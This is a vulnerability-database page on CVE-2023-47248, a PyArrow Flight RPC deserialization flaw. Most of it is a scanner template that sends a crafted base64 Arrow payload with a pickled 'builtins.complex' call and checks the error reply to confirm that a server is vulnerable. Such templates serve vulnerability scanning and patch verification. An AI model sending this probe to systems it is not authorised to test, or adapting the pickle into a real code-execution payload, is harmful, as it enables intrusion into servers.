CVE-2023-47248: PyArrow Flight RPC - Remote Code Execution

2025-08-01 PyArrow Flight RPC PoC Public

Description

PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.

Details

CVE
CVE-2023-47248 · CVE.org
Severity
高危
Affected
PyArrow Flight RPC
Published
PoC
Public

PoC

id: CVE-2023-47248

info:
  name: PyArrow Flight RPC - Remote Code Execution
  author: smolse
  severity: critical
  description: |
    PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
  impact: |
    Unauthenticated attackers can exploit deserialization vulnerabilities through maliciously crafted Python-defined extension types in Flight RPC to execute arbitrary code and completely compromise PyArrow installations.
  remediation: |
    Upgrade to PyArrow v14.0.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47248
    - https://www.cve.org/CVERecord?id=CVE-2023-47248
    - https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf
    - https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47248
    cwe-id: CWE-502
    epss-score: 0.13156
    epss-percentile: 0.96425
    cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: pyarrow
  tags: cve,cve2023,rce,arrow,pyarrow,apache,vkev,vuln

http:
  - raw:
      - |
        POST /arrow.flight.protocol.FlightService/DoPut HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/grpc
        Te: trailers
        Grpc-Accept-Encoding: identity, gzip, deflate

        {{base64_decode("AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA")}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "'complex' object has no attribute 'storage_type'"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207cc0366365740753fb8ae28d51f49ff642e01839a95c4d08665d352549762b00022100fac95a3985cb3ecfec231ca53bcfe2f0034eed8abb0740a94f9dea9ec9943084:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life